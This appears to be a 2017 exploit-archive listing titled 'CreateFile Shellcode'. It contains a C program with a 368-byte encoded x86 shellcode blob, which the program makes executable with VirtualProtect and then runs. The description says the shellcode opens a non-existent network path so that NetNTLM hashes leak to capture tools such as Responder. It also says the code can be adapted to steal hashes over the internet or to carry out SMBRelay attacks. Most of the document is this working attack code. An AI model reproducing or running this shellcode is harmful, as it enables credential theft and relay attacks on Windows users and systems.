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CreateFile Shellcode

CreateFile Shellcode
Posted Mar 20, 2017
Authored by Osanda Malith

This shellcode uses CreateFile and tries to read a non existing network path. You can use tools such as Responder to capture NetNTLM hashes. The shellcode can be modified to steal hashes over internet. SMBRelay attacks can also be performed.

tags | shellcode
MD5 | e53e653c870322fe99dc73d75e082b05

CreateFile Shellcode

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/*
Title: CreateFile Shellcode
Author: Osanda Malith Jayathissa (@OsandaMalith)
Website: https://osandamalith.com
Size: 368 Bytes
Description: This shellcode uses CreateFile and tries to read a non existing
network path. You can use tools such as Responder to capture NetNTLM hashes.
The shellcode can be modified to steal hashes over internet. SMBRelay attacks
can also be perfomed.
*/
# include <stdlib.h>
# include <stdio.h>
# include <string.h>
# include <windows.h>

int main() {

char *shellcode =
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x4c\x03\x02\x02\x81\xf1\x02\x02"
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x05\x0f\x44\xc6\xaa"
"\xe2\xf6\xe8\x05\x05\x05\x05\x5e\x8b\xfe\x81\xc6\x29\x01\x05\x05"
"\xb9\x02\x05\x05\x05\xfc\xad\x01\x3c\x07\xe2\xfa\x56\xb9\x8d\x10"
"\xb7\xf8\xe8\x5f\x05\x05\x05\x68\x31\x01\x05\x05\xff\xd0\xb9\xe0"
"\x53\x31\x4b\xe8\x4e\x05\x05\x05\xb9\xac\xd5\xaa\x88\x8b\xf0\xe8"
"\x42\x05\x05\x05\x6a\x05\x68\x80\x05\x05\x05\x6a\x03\x6a\x05\x6a"
"\x01\x68\x05\x05\x05\x80\x68\x3e\x01\x05\x05\xff\xd0\x6a\x05\xff"
"\xd6\x33\xc0\x5e\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c\x61\x0f\xbe"
"\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0\x75\xea\x8b"
"\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x89"
"\x4d\xf4\x64\xa1\x30\x05\x05\x05\x89\x45\xfc\x8b\x45\xfc\x8b\x40"
"\x0c\x8b\x40\x14\x89\x45\xec\x8b\xf8\x8b\xcf\xe8\xd2\xff\xff\xff"
"\x8b\x70\x18\x8b\x3f\x85\xf6\x74\x4f\x8b\x46\x3c\x8b\x5c\x30\x78"
"\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff\xff\xff\x8b"
"\x4c\x33\x20\x89\x45\xf8\x33\xc0\x03\xce\x89\x4d\xf0\x89\x45\xfc"
"\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75\xff\xff\xff"
"\x03\x45\xf8\x39\x45\xf4\x74\x1c\x8b\x45\xfc\x8b\x4d\xf0\x40\x89"
"\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c\x33\xc0\x5f"
"\x5e\x5b\xc9\xc3\x8b\x4d\xfc\x8b\x44\x33\x24\x8d\x04\x48\x0f\xb7"
"\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04\x30\x03\xc6\xeb\xdf"
"\x21\x05\x05\x05\x50\x05\x05\x05\x6b\x65\x72\x6e\x65\x6c\x33\x32"
"\x2e\x64\x6c\x6c\x05\x2f\x2f\x65\x72\x72\x6f\x72\x2f\x61\x61\x05";

DWORD oldProtect;

wprintf(L"Length : %d bytes\n@OsandaMalith", strlen(shellcode));
BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE, &oldProtect);

if (!ret) {
fprintf(stderr, "%s", "Error Occured");
return EXIT_FAILURE;
}

((void(*)(void))shellcode)();

VirtualProtect (shellcode, strlen(shellcode), oldProtect, &oldProtect);

return EXIT_SUCCESS;
}

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